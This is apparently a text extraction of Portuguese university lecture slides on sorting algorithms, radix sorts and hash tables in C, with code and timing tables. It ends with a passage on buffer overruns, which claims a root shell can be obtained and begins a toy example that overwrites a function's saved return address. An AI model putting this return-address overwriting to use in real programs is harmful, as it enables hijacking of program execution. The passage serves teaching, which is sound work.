{ int i, N = atoi(argv[1]), sw = atoi(argv[2]);
int *a = malloc(N*sizeof(int));
if (sw)
for (i = 0; i < N; i++)
a[i] = 1000*(1.0*rand()/RAND_MAX);
else
while (scanf("%d", &a[N]) == 1) N++;
sort(a, 0, N-1);
for (i = 0; i < N; i++) printf("%3d ", a[i]);
printf("\n");
}

Exemplo:

IAED 2007/2008 p.458/569

Selection Sort
void selection(Item a[], int l, int r)
{ int i, j;
for (i = l; i < r; i++)
{ int min = i;
for (j = i+1; j <= r; j++)
if (less(a[j], a[min])) min = j;
exch(a[i], a[min]);
}
}

Exemplo:

IAED 2007/2008 p.459/569

Selection Sort
A cada passo, escolher o menor entre os r l i + 1
maiores elementos.
Para cada valor de i do primeiro ciclo, segundo ciclo
executado r i vezes
Tempo de execuo:
Comparaes: N 2 /2, trocas: N
No pior caso O(N 2 ), com N = r l
No melhor caso, O(N 2 ), com N = r l

Algoritmo estavel
i.e. ordem relativa de chaves duplicadas mantida

IAED 2007/2008 p.460/569

Insertion Sort
void insertion(Item a[], int l, int r)
{ int i;
for (i = l+1; i <= r; i++) compexch(a[l], a[i]);
for (i = l+2; i <= r; i++)
{ int j = i; Item v = a[i];
while (less(v, a[j-1]))
{ a[j] = a[j-1]; j--; }
a[j] = v;
}
}

Exemplo:

IAED 2007/2008 p.461/569

Insertion Sort
Primeiro ciclo coloca menor valor na posio l, o qual
depois serve como sentinela
reduz constantes do segundo ciclo
Para cada i, os primeiros i elementos ficam ordenados
Tempo de execuo:
No pior caso, O(N 2 ), com N = r l, i.e. vector j
ordenado por ordem inversa
No melhor caso O(N ), com N = r l, i.e. vector j
ordenado
Algoritmo estvel

IAED 2007/2008 p.462/569

Bubble Sort
void bubble(Item a[], int l, int r)
{ int i, j;
for (i = l; i < r; i++)
for (j = r; j > i; j--)
compexch(a[j-1], a[j]);
}

Exemplo:

IAED 2007/2008 p.463/569

Bubble Sort
Para cada valor de i no primeiro ciclo, segundo ciclo
executado r i + 1 vezes

Para cada valor de i, algoritmo assegura que valor final


na posio i o valor certo para a posio i aps
vector ordenado
Tempo de execuo:
No pior caso O(N 2 ), com N = r l
No melhor caso O(N 2 ), com N = r l
Algoritmo estvel

IAED 2007/2008 p.464/569

Comparao
Pior caso
Selection Insertion Bubble
Comparaes
N 2 /2
N 2 /2
N 2 /2
Trocas Chaves
N
N 2 /2
N 2 /2
Caso mdio
Selection Insertion Bubble
Comparaes
N 2 /2
N 2 /4
N 2 /2
Trocas Chaves
N
N 2 /4
N 2 /2

IAED 2007/2008 p.465/569

Comparao [2]
Tabelas com poucos elementos fora de ordem
Insertion e Bubble sort so quase lineares
os melhores algoritmos de ordenao podem ser
quadrticos
Contexto onde elementos so grandes e chaves
pequenas
Selection linear no nmero de dados
N dados com tamanho M (palavras/words)
custos: comparao - 1 unidade; troca - M unidades
N 2 /2 comparaes e NM custo de trocas
termo NM domina - custo proporcional ao tempo
necessrio para mover os dados
Alternativa: uso de ponteiros
IAED 2007/2008 p.466/569

Avaliao Experimental
N Selection Insertion Bubble
1000
5
4
11
2000
21
15
45
4000
85
62
182

IAED 2007/2008 p.467/569

Shell Sort Introduo


Insertion sort lento: trocas ocorrem apenas entre
items adjacentes
se o menor item est no final da tabela, sero
precisos N passos para o colocar na posio
correcta
Shellsort:
acelerar o algoritmo permitindo trocas entre
elementos que esto afastados

IAED 2007/2008 p.468/569

Shell Sort Definies


Vector diz-se h-ordenado se qualquer sequncia de
nmeros separados por h posies est ordenada
Vector equivalente a h sequncias ordenadas
entrelaadas
Vector 1 15 2 16 3 17 4 18 5 19 est 2-ordenado
O resultado de h-ordenar um vector que est
k -ordenado, um vector que est h-ordenado e
k -ordenado

IAED 2007/2008 p.469/569

Shell Sort Ideia


Rearranjar os dados de forma a que estejam
h-ordenados
Usando valores de h grandes possvel mover
elementos na tabela distncias grandes o que torna
mais fcil h-ordenar mais tarde com h pequenos
usando este procedimento para qualquer sequncia
de hs que termine em 1 produz no fim uma tabela
ordenada
cada passo torna o prximo mais simples

IAED 2007/2008 p.470/569

Shell Sort Algoritmo


void shellsort(Item a[], int l, int r)
{ int i, j, h;
for (h = 1; h <= (r-l)/9; h = 3*h+1) ;
for ( ; h > 0; h /= 3)
for (i = l+h; i <= r; i++)
{ int j = i; Item v = a[i];
while (j >= l+h && less(v, a[j-h]))
{ a[j] = a[j-h]; j -= h; }
a[j] = v;
}
}

Primeiro ciclo for gera sequncia: 1 4 13 40 121 364


1093 3280 ...
Segundo ciclo for executado para os valores de h por
ordem inversa
IAED 2007/2008 p.471/569

Shell Sort Funcionamento


Operao (vector com tamanho 100):
Para cada valor de h, 40, 13, 4, 1:
Utilizar insertion sort para criar h
sub-vectores ordenados dentro de vector com
tamanho 100
Vector fica h-ordenado
Para h = 40 existem 40 sub-vectores ordenados,
cada um com 2/3 elementos
Para h = 13 existem 13 sub-vectores ordenados,
cada um com 7/8 elementos
...
Para h = 1 existe 1 (sub-)vector ordenado, com
100 elementos

IAED 2007/2008 p.472/569

Shell Sort Exemplo


void shellsort(Item a[], int l, int r)
{ int i, j, h;
for (h = 1; h <= (r-l)/9; h = 3*h+1) ;
for ( ; h > 0; h /= 3)
for (i = l+h; i <= r; i++)
{ int j = i; Item v = a[i];
while (j >= l+h && less(v, a[j-h]))
{ a[j] = a[j-h]; j -= h; }
a[j] = v;
}
}

Exemplo:

IAED 2007/2008 p.473/569

Escolha da Sequncia de Ordenao


Questo difcil de responder
Propriedades de muitas sequncias j foram estudadas
Possvel provar que umas melhores que outras
ex: 1, 4, 13, 40, 121, 364, 1093, 3280, ... (Knuth,
3*hant+1)
melhor que 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, ...
(Shell, 2i ) Porqu?
mas pior (20%) que 1, 8, 23, 77, 281, 1073, 4193,
(4i+1 + 3 2i + 1)

Na prtica utilizam-se sequncias que decrescem


geometricamente para que o nmero de incrementos
seja logartmico
A sequncia ptima ainda no foi descoberta
IAED 2007/2008 p.474/569

Shell Sort Complexidade


Anlise do algoritmo desconhecida
Complexidade depende da sequncia de valores h
utilizada:
Sequncia 1, 4, 13, 40, 121, 364, 1093, ...
O(N 3/2 ) comparaes
Sequncia 1, 8, 23, 77, 281, 1073, 4193, ...
O(N 4/3 ) comparaes
Sequncia 1, 2, 3, 4, 6, 9, 8, 12, 18, 27, 16, 24, ...
O(N (log N )2 ) comparaes

IAED 2007/2008 p.475/569

Avaliao Experimental Shell Sort


N
O
K
G
S
P
I
12500
16
6
6
5
6
6
25000
37
13
11
12
15
10
50000 102
31
30
27
38
26
100000 303
77
60
63
81
58
200000 817 178 137 139 180 126
O: 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, ...
K: 1, 4, 13, 40, 121, 364, ...
G: 1, 2, 4, 10, 23, 51, 113, 249, 548, ...
S: 1, 8, 23, 77, 281, ...
P: 1, 7, 8, 49, 56, 64, 343, 392, 448, 512, ...
I: 1, 5, 19, 41, 109, 209, 505, 929, ...
IAED 2007/2008 p.476/569

Utilizao de Listas Interface


typedef struct node *link;
struct node { Item item; link next; };
link NEW(Item, link);
link init(int);
void show(link);
link sort(link);

IAED 2007/2008 p.477/569

Utilizao de Listas Selection Sort


link listselection(link h)
{ link max, t, out = NULL;
while (h->next != NULL)
{
max = findmax(h);
t = max->next; max->next = t->next;
t->next = out; out = t;
}
h->next = out;
return(h);
}

A cada passo retira mximo elemento de lista actual, e


coloca no topo da nova lista

IAED 2007/2008 p.478/569

Parte XIII
Sedgewick, Cap. 7-10

IAED 2007/2008 p.479/569

Algoritmos Eficientes de Ordenao


Quick Sort
Merge Sort
Heap Sort
Utilizar informao das chaves:
Counting Sort
Radix Sort

IAED 2007/2008 p.480/569

Quick Sort - Introduo


Inventado nos anos 60 por A.R. Hoare
Vantagens
muito estudado e analisado
popular devido facilidade de implementao e
eficincia:
O(N lgN ), em mdia, para ordenar N objectos
ciclo interno muito simples e conciso
Inconvenientes
no estvel; O(N 2 ) no pior caso!
frgil : qualquer pequeno erro de concretizao
pode no ser detectado mas levar a ineficincia
Biblioteca C fornece uma concretizao - qsort
IAED 2007/2008 p.481/569

QuickSort [2]
Aplica mtodo dividir para conquistar para ordenar
Ideia chave: efectuar partio dos dados e ordenar as
vrias partes independentemente (de forma recursiva)
particionar os dados: menores para um lado,
maiores para outro
usar recuro e aplicar algoritmo a cada uma das
partes
processo de partio crtico
evitar parties degeneradas

IAED 2007/2008 p.482/569

QuickSort - Partio
Recebe vector a e a parte do vector a ordenar - [l, r]
Rearranja os elementos do vector de forma a que as
trs condies seguintes sejam vlidas (de a[l] a a[r]):
o elemento a[i], para algum i, fica na sua posio
final
nenhum dos elementos em a[l]...a[i 1] maior do
que a[i]
nenhum dos elementos em a[i + 1]...a[r] menor do
que a[i]
processo coloca pelo menos um elemento na sua
posio final (Qual?)
Aps partio, a tabela fica sub-dividida em duas
partes que podem ser ordenadas independentemente
aplicando o mesmo processo
IAED 2007/2008 p.483/569

QuickSort - Concretizao [1]


Ordenao realizada atravs de partio + aplicao
recursiva do algoritmo aos dois subconjuntos de dados
da resultantes
void quicksort(Item a[], int l, int r) {
int i;
if (r <= l)
return;
i = partition(a, l, r);
quicksort(a, l, i-1);
quicksort(a, i+1, r);
}

IAED 2007/2008 p.484/569

QuickSort - Concretizao [2]


int partition(Item a[], int l, int r) {
int i, j;
Item v;
v = a[r];
i = l-1;
j = r;
for (;;) {
while (less(a[++i], v)) ;
while (less(v, a[--j]))
if (j == l)
break;
if (i >= j)
break;
exch(a[i], a[j]);
}
exch(a[i], a[r]);
return i;
}
IAED 2007/2008 p.485/569

QuickSort Complexidade [1]


Ineficiente se vector j ordenado (pior caso)
cerca de N 2 /2 comparaes
Demonstrao: se o ficheiro j estiver ordenado, todas
as parties degeneram e o programa chama-se a si
prprio N vezes;
o nmero de comparaes de
N + (N 1) + (N 2) + ... + 2 + 1 = (N + 1)N/2 (mesma
situao se o ficheiro estiver ordenado por ordem
inversa)
No apenas o tempo necessrio para a execuo do
algoritmo cresce quadraticamente como o espao
necessrio para o processo recursivo de cerca de N o
que inaceitvel para vectores grandes
IAED 2007/2008 p.486/569

QuickSort Complexidade [2]


Melhor caso: quando cada partio divide o vector de
entrada em duas metades iguais
nmero de comparaes usadas por quicksort
satisfaz a recurso de dividir para conquistar
CN = 2C(N/2) + N
soluo : CN = N lgN (vimos numa aula anterior)
Propriedade: QuickSort usa cerca de 2N lgN
comparaes em mdia

IAED 2007/2008 p.487/569

QuickSort - Melhoramentos [1]


Algoritmo pode ainda ser melhorado com alteraes
triviais
ordenao de sub-vectores de pequenas dimenses
pode ser efectuada de forma mais eficiente
natureza recursiva de QuickSort garante que uma
fraco grande dos sub-vectores tero tamanho
pequeno
como escolher correctamente o elemento de
partio?
aleatoriamente
mdia de vrios elementos
Como melhorar o desempenho se os dados tiverem
um grande nmero de chaves repetidas?

IAED 2007/2008 p.488/569

Melhoramento Vectores Pequenos


QuickSort garantido instanciar-se a si prprio
mltiplas vezes para vectores pequenos!
Conveniente utilizar o melhor mtodo possvel nesta
situao
Insertion sort
Soluo: algoritmo hbrido: (bom mtodo em geral)
Usar
if (r-l <= M) { insertion(a, l, r); return; }
em vez de
if (r <= l) return;

IAED 2007/2008 p.489/569

Merge Sort Top-Down


Item aux[maxN];
merge(Item a[], int l, int m, int r)
{ int i, j, k;
for (i = m+1; i > l; i--) aux[i-1] = a[i-1];
for (j = m; j < r; j++) aux[r+m-j] = a[j+1];
for (k = l; k <= r; k++)
if (less(aux[i], aux[j]))
a[k] = aux[i++]; else a[k] = aux[j--];
}
void mergesort(Item a[], int l, int r)
{ int m = (r+l)/2;
if (r <= l) return;
mergesort(a, l, m);
mergesort(a, m+1, r);
merge(a, l, m, r);
}

IAED 2007/2008 p.490/569

Merge Sort Complexidade


Tempo de execuo:
TN = TN/2 + TN/2 + O(N )
= O(N log N )

Fcil de verificar quando N potncia de 2, e no caso


geral recorrendo a induo
Complexidade pior caso O(N log N )
estvel

IAED 2007/2008 p.491/569

Merge Sort Bottom-Up


#define min(A, B) (A < B) ? A : B
void mergesortBU(Item a[], int l, int r)
{ int i, m;
for (m = 1; m < r-l; m = m+m)
for (i = l; i <= r-m; i += m+m)
merge(a, i, i+m-1, min(i+m+m-1, r));
}

IAED 2007/2008 p.492/569

Merge Sort Comparao


Top-Down

Bottom-Up

ASORTINGEXAMPLE
AS
OR
AORS
IT
GN
GINT
AGINORST
EX
AM
AEMX
LP
ELP
AEELMPX
AAEEGILMNOPRSTX

ASORTINGEXAMPLE
AS
OR
IT
GN
EX
AM
LP
AORS
GINT
AEMX
ELP
AGINORST
AEELMPX
AAEEGILMNOPRSTX

IAED 2007/2008 p.493/569

Merge Sort com Listas


link merge(link a, link b) {
struct node head; link c = &head;
while ((a != NULL) && (b != NULL))
if (less(a->item, b->item))
{ c->next = a; c = a; a = a->next; }
else
{ c->next = b; c = b; b = b->next; }
c->next = (a == NULL) ? b : a;
return head.next;
}
link mergesort(link c) {
link a, b;
if (c->next == NULL) return c;
a = c; b = c->next;
while ((b != NULL) && (b->next != NULL))
{ c = c->next; b = b->next->next; }
b = c->next; c->next = NULL;
return merge(mergesort(a), mergesort(b));
}
IAED 2007/2008 p.494/569

Heap Sort
#define pq(A) a[l-1+A]
void heapsort(Item a[], int l, int r)
{ int k, N = r-l+1;
for (k = N/2; k >= 1; k--)
fixDown(&pq(0), k, N);
while (N > 1)
{ exch(pq(1), pq(N));
fixDown(&pq(0), 1, --N); }
}

IAED 2007/2008 p.495/569

Heap Sort Complexidade


Construo do amontoado (ciclo for):
O(N log N ) no pior caso
possvel assegurar O(N )
Colocao das chaves (ciclo while):
O(N log N ) no pior caso
Complexidade pior caso O(N log N )
No estvel

IAED 2007/2008 p.496/569

Avaliao Experimental
N Quick Merge Heap
12500
2
5
3
25000
7
11
8
50000
13
24
18
100000
27
52
42
200000
58
111
100
400000
122
238
232
800000
261
520
542

IAED 2007/2008 p.497/569

Ordenao por Comparao


Algoritmos de ordenao baseados em comparaes
so (n log n)
Para n chaves existem n! ordenaes possveis das
chaves
Algoritmo de ordenao por comparao utiliza
comparaes de pares de chaves para seleccionar
uma das n! ordenaes
Escolher uma folha em rvore com n! folhas
Altura da rvore no inferior log(n!) = (n log n)
possvel obter algoritmos mais eficientes desde que
no sejam baseados em comparaes:
Utilizar informao quanto s chaves utilizadas
Counting Sort
Radix Sort
IAED 2007/2008 p.498/569

Counting Sort Motivao


Ordenar N = r l + 1

Chaves podem tomar valor entre 0 e M 1

Se existem k0 chaves com valor 0, ento ocupam as


primeiras k0 posies do array final, 0 a k0 1
Se existem k1 chaves com valor 1, ento ocupam as
posies k0 a k0 + k1 1 posies do array final
...

Necessrio vectores auxiliares para guardar contagens


e para construir array ordenado

IAED 2007/2008 p.499/569

Counting Sort: Os Passos


Usa vector auxiliares cnt[M + 1] e b[maxN ]
Passo 1 - inicializa cada posio de cnt a 0
Passo 2
Para cada posio i de a cnt[a[i] + 1] + +
No fim, cada posio i de cnt tem o nmero de
vezes que a chave i 1 aparece em a

Passo 3 - Acumula em cada elemento de cnt os


elementos anteriores: cnt[i] indica a posio ordenada
do primeiro elemento com chave i
Passo 4 - Guarda em b os valores de a ordenados:
b[cnt[a[i]]++] = a[i]
Passo 5 - Copia b para a
IAED 2007/2008 p.500/569

Counting Sort I
void distcount(int a[], int l, int r)
{ int i, j, cnt[M+1];
int b[maxN];
for (j = 0; j <= M; j++) cnt[j] = 0;
for (i = l; i <= r; i++) cnt[a[i]+1]++;
for (j = 1; j < M; j++) cnt[j] += cnt[j-1];
for (i = l; i <= r; i++) b[cnt[a[i]]++] = a[i];
for (i = l; i <= r; i++) a[i] = b[i];
}

IAED 2007/2008 p.501/569

Counting Sort Caractersticas


Complexidade em tempo de execuo
Dois ciclos relativos dimenso das chaves M
Trs ciclos relativos s N chaves
Complexidade: O(N + M )
Estvel
No in-place
Pode suceder que tamanho maxN maior que N

IAED 2007/2008 p.502/569

Counting Sort II
void distcount(int a[],
{ int i, j, cnt[M];
int b[maxN];
for (j = 0; j < M;
for (i = l; i <= r;
for (j = 1; j < M;
for (i = r; i >= l;
for (i = l; i <= r;
}

int l, int r)

j++)
i++)
j++)
i--)
i++)

cnt[j] = 0;
cnt[a[i]]++;
cnt[j] += cnt[j-1];
b[--cnt[a[i]]] = a[i];
a[i] = b[i];

Diferenas??
Definio do valor cnt[j]
Estabilidade do algoritmo ??

IAED 2007/2008 p.503/569

Radix Sort Definies


Chaves - sequncias de bits que definem nmero base
R
Radix sort - considera um dgito da chave de cada vez
#define bitsword 32
#define bitsbyte 8
#define bytesword 4
#define R (1 << bitsbyte)
#define digit(A, B)

(((A) >> (bitsword-((B)+1)*bitsbyte)) & (R-1))

Para strings:
#define digit(A, B)

A[B]

IAED 2007/2008 p.504/569

Radix Sort I MSD


Comeando no dgito mais significativo, considerar
cada n-simo dgito e ordenar vector usando apenas
esse dgito
Realizao: Para cada dgito, do de maior peso para o
de menor peso:
Colocar chaves em M caixas (uma para cada valor
possvel)
Ordenar elementos de cada caixa utilizando dgitos
subsequentes
Se nmero de elementos no superior a M , utilizar
insertion sort

IAED 2007/2008 p.505/569

Radix Sort I MSD


#define bin(A) l+count[A]
void radixMSD(Item a[], int l, int r, int w)
{ int i, j, count[R+1];
if (w > bytesword) return;
if (r-l <= M) { insertion(a, l, r); return; }
for (j = 0; j < R; j++) count[j] = 0;
for (i = l; i <= r; i++)
count[digit(a[i], w) + 1]++;
for (j = 1; j < R; j++)
count[j] += count[j-1];
for (i = l; i <= r; i++)
aux[l+count[digit(a[i], w)]++] = a[i];
for (i = l; i <= r; i++) a[i] = aux[i];
radixMSD(a, l, bin(0)-1, w+1);
for (j = 0; j < R-1; j++)
radixMSD(a, bin(j), bin(j+1)-1, w+1);
}

Memria adicional?
IAED 2007/2008 p.506/569

Binary Quicksort
quicksortB(int a[], int l, int r, int w)
{ int i = l, j = r;
if (r <= l || w > bitsword) return;
while (j != i)
{
while (digit(a[i], w) == 0 && (i < j)) i++;
while (digit(a[j], w) == 1 && (j > i)) j--;
exch(a[i], a[j]);
}
if (digit(a[r], w) == 0) j++;
quicksortB(a, l, j-1, w+1);
quicksortB(a, j, r, w+1);
}
void sort(Item a[], int l, int r)
{
quicksortB(a, l, r, 0);
}

Memria adicional?
IAED 2007/2008 p.507/569

Three Way Quicksort


cdb bbc dab abc aba dac cdc bcd bad dca cda
#define ch(A) digit(A, D)
void quicksortX(itemType a[], int l, int r, int D) {
int i, j, k, p, q; int v;
if (r-l <= M) { insertion(a, l, r); return; }
v = ch(a[r]); i = l-1; j = r; p = l-1; q = r;
while (i < j) {
while (ch(a[++i]) < v) ;
while (v < ch(a[--j])) if (j == l) break;
if (i > j) break;
exch(a[i], a[j]);
if (ch(a[i])==v) { p++; exch(a[p], a[i]); }
if (v==ch(a[j])) { q--; exch(a[j], a[q]); }
}

cdc bbc bcd abc aba bad dac dab dca cdb cda
IAED 2007/2008 p.508/569

Three Way Quicksort


cdc bbc bcd abc aba bad dac dab dca cdb cda
if (p == q) {
if (v != \0) quicksortX(a, l, r, D+1); return; }
if (ch(a[i]) < v) i++;
for (k = l; k <= p; k++, j--) exch(a[k], a[j]);
for (k = r; k >= q; k--, i++) exch(a[k], a[i]);

bad bbc bcd abc aba cdc cda cdb dca dab dac
quicksortX(a, l, j, D);
if ((i == r) && (ch(a[i]) == v)) i++;
if (v != \0) quicksortX(a, j+1, i-1, D+1);
quicksortX(a, i, r, D);
}

aba abc bad bbc bcd cda cdb cdc dab dac dca
IAED 2007/2008 p.509/569

Radix Sort II LSD


Utilizar dgitos, do menor peso para o maior peso:
Ordena vector usando counting sort para cada dgito
for tea tag ace
tip ace tar ago
ilk fee caw caw
tag wee ace fee
ace tag tea for
fee ilk fee ilk
ago ago wee tag
caw tip ago tar
tar for tip tea
tea tar ilk tip
wee caw for wee
IAED 2007/2008 p.510/569

Radix Sort LSD


void radixLSD(Item a[], int l, int r)
{
int i, j, w, count[R+1];
for (w = bytesword-1; w >= 0; w--)
{
for (j = 0; j < R; j++) count[j] = 0;
for (i = l; i <= r; i++)
count[digit(a[i], w) + 1]++;
for (j = 1; j < R; j++)
count[j] += count[j-1];
for (i = l; i <= r; i++)
aux[count[digit(a[i], w)]++] = a[i];
for (i = l; i <= r; i++) a[i] = aux[i];
}
}

Aplicvel apenas a chaves tamanho fixo


IAED 2007/2008 p.511/569

Eficincia dos Radix Sorts


Radix Sort
Tempo de execuo cresce com nmero de bytes
dos elementos a ordenar
MSD Radix Sort
Pode ser sublinear na quantidade total de
informao das chaves
LSD Radix Sort
O(N w/ log R), para chaves com w bits
Mais preciso: O(w/b (N + 2b )). Mnimo ocorre
para b = 0.83 log N . Nota: b = log R;
Espao adicional: R contadores e vector com
tamanho N .

IAED 2007/2008 p.512/569

Avaliao Experimental
Ordenao de N inteiros (32-bit):
bytes
4-bit
8-bit
16-bit
N Quick MSD LSD MSD LSD
LSD
12500
2
7
11
28
4
5
25000
5
14
21
29
8
8
50000
10
49
43
35
18
15
100000
21
77
92
47
39
30
200000
49
133 185
72
81
56
400000
102
278 377
581 169
110
800000
223
919 732 6064 328
219

IAED 2007/2008 p.513/569

IAED 2007/2008 p.514/569

Parte XIV
Sedgewick, Cap. 14

IAED 2007/2008 p.515/569

Tabelas de Disperso
Funes de disperso

IAED 2007/2008 p.516/569

Tabelas de Disperso
Funes de disperso
Encadeamento externo

IAED 2007/2008 p.516/569

Tabelas de Disperso
Funes de disperso
Encadeamento externo
Procura linear

IAED 2007/2008 p.516/569

Tabelas de Disperso
Funes de disperso
Encadeamento externo
Procura linear
Double hashing (disperso dupla)

IAED 2007/2008 p.516/569

Tabelas de Disperso
Funes de disperso
Encadeamento externo
Procura linear
Double hashing (disperso dupla)
Eficincia da procura

IAED 2007/2008 p.516/569

Tabelas de Disperso - Introduo


Concretizao do ADT Tabela de Smbolos
No percorre estrutura de dados comparando a
chave
Usa a chave para obter endereo da tabela
Operaes eficientes: STinsert, STdelete e STsearch
Operaes ineficientes: STselect e STsort

IAED 2007/2008 p.517/569

Funo de Disperso (Hashing)


Transforma a chave num inteiro [0, M 1] (M tamanho
da tabela)
Coliso - ocorre quando a funo de
disperso devolve o mesmo valor para chaves distintas

Definicao:

Funo de disperso ideal: A probabilidade


de ocorrer uma coliso para duas chaves distintas
1/M .

Definicao:

IAED 2007/2008 p.518/569

Funo de Disperso
Deve distribuir as chaves de forma uniforme e quase
aleatria
Deve ser rpida de calcular
Deve envolver todos os bits da chave
Diferentes funes devem ser usadas para diferentes
tipos de dados
Cadeias de caracteres
Inteiros
Reais

IAED 2007/2008 p.519/569

Funo de Disperso Nmeros


hash(k) = k mod M
M deve ser um primo, para evitar colises
M = 2k muito mau !
M = 4;
85 - 00010101 - 1
21 - 01010101 - 1
53 - 01110101 - 1

Para reais:
escalar para a gama [0, 1.0];
multiplicar por 2w , para obter um inteiro de w bits, k ;
obter hash(k) = k mod M ;

IAED 2007/2008 p.520/569

Funo de Disperso Strings


Calcula uma soma ponderada dos caracteres
Soma feita mdulo M
M deve ser um primo, para evitar colises

int hash(char *v, int M)


{ int h = 0, a = 127;
for (; *v != \0; v++)
h = (a*h + *v) % M;
return h;
}

IAED 2007/2008 p.521/569

Funo de Disperso Strings


Recalcula a base em cada iterao
Evita anomalias com chaves altamente regulares
int hashU(char *v, int M)
{ int h, a = 31415, b = 27183;
for (h = 0; *v != \0; v++, a = a*b % (M-1))
h = (a*h + *v) % M;
return h;
}

IAED 2007/2008 p.522/569

Resoluo por Encadeamento Externo


Cada posio da tabela tem um ponteiro para uma lista
Colises so resolvidas juntando o elemento ao incio
da lista
Apagamentos so resolvidos apagando o elemento da
lista
0

70

14

707

1
2

Ordem de insero: 707, 72, 14, 70, 75, 19


72

hash(k) = k mod 7

4
5

19

75

IAED 2007/2008 p.523/569

Resoluo por encadeamento externo


static link *heads, z;
static int N, M;
void STinit(int max)
{ int i;
N = 0; M = max/5;
heads = malloc(M*sizeof(link));
z = NEW(NULLitem, NULL);
for (i = 0; i < M; i++) heads[i] = z;
}
Item STsearch(Key v)
{ return searchR(heads[hash(v, M)], v); }
void STinsert(Item item)
{ int i = hash(key(item), M);
heads[i] = NEW(item, heads[i]); N++; }
void STdelete(Item item)
{ int i = hash(key(item), M);
heads[i] = deleteR(heads[i], item); }

IAED 2007/2008 p.524/569

Eficincia das Tabelas de Disperso


Resoluo externa (listas ligadas)
Comprimento mdio das listas N/M
A probabilidade de o nmero de chaves numa lista ser
t e onde = N .
maior ou igual a t de ( e
)
t
M
Se = 20, a probabilidade de uma uma lista ter mais
de 40 items 0.0000016.

IAED 2007/2008 p.525/569

Resoluo por Procura Linear


Em vez de uma lista ligada, guarda elementos na
prpria tabela
Obriga a conhecer em avano o nmero mximo de
elementos: (M > N )
Se a posio k estiver ocupada, guarda o item na
posio seguinte livre (linear probing).
0
1
2
3

70

ORDEM DE INSERAO: 70, 72, 14, 77, 19, 75

14
72
77

hash(k) = k mod 7

4
5

19

75
IAED 2007/2008 p.526/569

Resoluo por Procura Linear


#include <stdlib.h>
#include "Item.h"
#define null(A) (key(st[A]) == key(NULLitem))
static int N, M;
static Item *st;
void STinit(int max)
{ int i;
N = 0; M = 2*max;
st = malloc(M*sizeof(Item));
for (i = 0; i < M; i++) st[i] = NULLitem;
}
int STcount() { return N; }
void STinsert(Item item)
{ Key v = key(item);
int i = hash(v, M);
while (!null(i)) i = (i+1) % M;
st[i] = item; N++;
}

IAED 2007/2008 p.527/569

Resoluo por Procura Linear


Resoluo de conflitos: se a posio correspondente
ao ndice devolvido pela funo de disperso estiver
ocupada, incrementar o ndice at encontrar primeira
posio livre.
Item STsearch(Key v)
{ int i = hash(v, M);
while (!null(i))
if eq(v, key(st[i])) return st[i];
else i = (i+1) % M;
return NULLitem;
}

IAED 2007/2008 p.528/569

Remoo de Items
Aps achar o item, coloca-se a posio a NULL
Reinserem-se todos os items que se seguem, at
prxima posio vazia
void STdelete(Item item)
{ int j, i = hash(key(item), M); Item v;
while (!null(i))
if eq(key(item), key(st[i])) break;
else i = (i+1) % M;
if (null(i)) return;
st[i] = NULLitem; N--;
for (j = i+1; !null(j); j = (j+1) % M, N--)
{ v = st[j]; st[j] = NULLitem; STinsert(v); }
}

IAED 2007/2008 p.529/569

Eficincia das Tabelas de Disperso


Soluo por procura linear
= N/M tem de ser menor que 1.

Nmero de operaes necessrio para achar um item


:
1
Hits: 21 (1 + 1
)
Misses: 21 (1 +

1
(1)2 )

Nmero de operaes cresce rapidamente quando


1.0

hit
miss

0.5 0.667 0.75


0.9
1.5
2.0
3.0
5.5
2.5
5.0
8.5 55.5
IAED 2007/2008 p.530/569

Resoluo por Double Hashing


Guarda elementos na tabela, como na procura linear
Usa outra tcnica pra resolver conflitos
Em vez de procurar em sequncia, usa uma
segunda funo de hashing para determinar o
incremento
Incremento deve ser maior que 0 e primo
relativamente ao tamanho da tabela
Diminui o nmero de operaes relativamente
procura linear
Operaes s se tornam demasiado lentas quando
o factor de carga atinge o valor 90% - 95%

IAED 2007/2008 p.531/569

Resoluo por Double Hashing


void STinsert(Item item)
{ Key v = key(item);
int i = hash(v, M);
int k = hashtwo(v, M);
while (!null(i)) i = (i+k) % M;
st[i] = item; N++;
}
Item STsearch(Key v)
{ int i = hash(v, M);
int k = hashtwo(v, M);
while (!null(i))
if eq(v, key(st[i])) return st[i];
else i = (i+k) % M;
return NULLitem;
}

IAED 2007/2008 p.532/569

Eficincia das Tabelas de Disperso


Soluo por double hashing
= N/M tem de ser menor que 1.

Nmero de operaes necessrio para achar um item


:
1
Hits: 1 ln( 1
)
Misses:

1
1

Nmero de operaes cresce mais lentamente quando


1.0

hit
miss

0.5 0.667 0.75 0.9


1.4
1.6
1.8 2.6
1.5
2.0
3.0 5.5
IAED 2007/2008 p.533/569

Tabelas de Disperso Dinmicas


Carga da tabela aumenta - custo de insero e procura
aumenta
tabela esparsa (ou encadeamento externo) aumento gradual
tabela no esparsa - aumento incomportvel
procura linear e disperso dupla - carga mxima 1
Soluo: duplicar tamanho da tabela quando esta fica
meio cheia
No entanto, duplicao tem custo alto
mas, pouco frequente

IAED 2007/2008 p.534/569

Soluo dinmica para procura linear


void expand();
void STinsert(Item item) {
Key v = key(item);
int i = hash(v, M);
while (!null(i)) i = (i+1) % M;
st[i] = item;
if (N++ > M/2) expand();
}
void expand() {
int i; Item *t = st;
init(M+M);
for (i = 0; i < M/2; i++)
if (key(t[i]) != key(NULLitem))
STinsert(t[i]);
free(t);
}

IAED 2007/2008 p.535/569

Tabelas de Disperso - Concluso


Vantagens:
Concretizam operaes de insero e procura em
tempo constante (caso mdio)
procura linear - a mais rpida (tabela esparsa)
disperso dupla - melhor compromisso
tempo/memria
encadeamento externo - mais fcil de concretizar,
maior carga mas pior uso de memria
Inconvenientes
no h garantia de desempenho
custo de funo de disperso alto se chaves longas
ocupam mais memria do que necessrio (BST tb)
no suportam eficientemente as operaes de
ordenao e seleco
IAED 2007/2008 p.536/569

Parte XV
Tpicos Finais

IAED 2007/2008 p.537/569

Tpicos Finais
Hacking em C
Buffer Overruns
...
Concursos de Programao
IOCCC
XP@IST / MIUP / SWERC ACM-ICPC

IAED 2007/2008 p.538/569

Buffer Overruns
O C no verifica os limites dos arrays
possvel alterar posies de memria fora das
posies de um array
possvel alterar cdigo ou executar outro cdigo
utilizando esta possibilidade
por vezes possvel ter acesso a uma shell com
privilgios de root

IAED 2007/2008 p.539/569

Buffer Overruns Exemplo


void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 13;
(*ret) += 7;

/* aceder ao endereco de retorno... */


/* alterar o endereco de retorno... */

}
void main() {
int x;
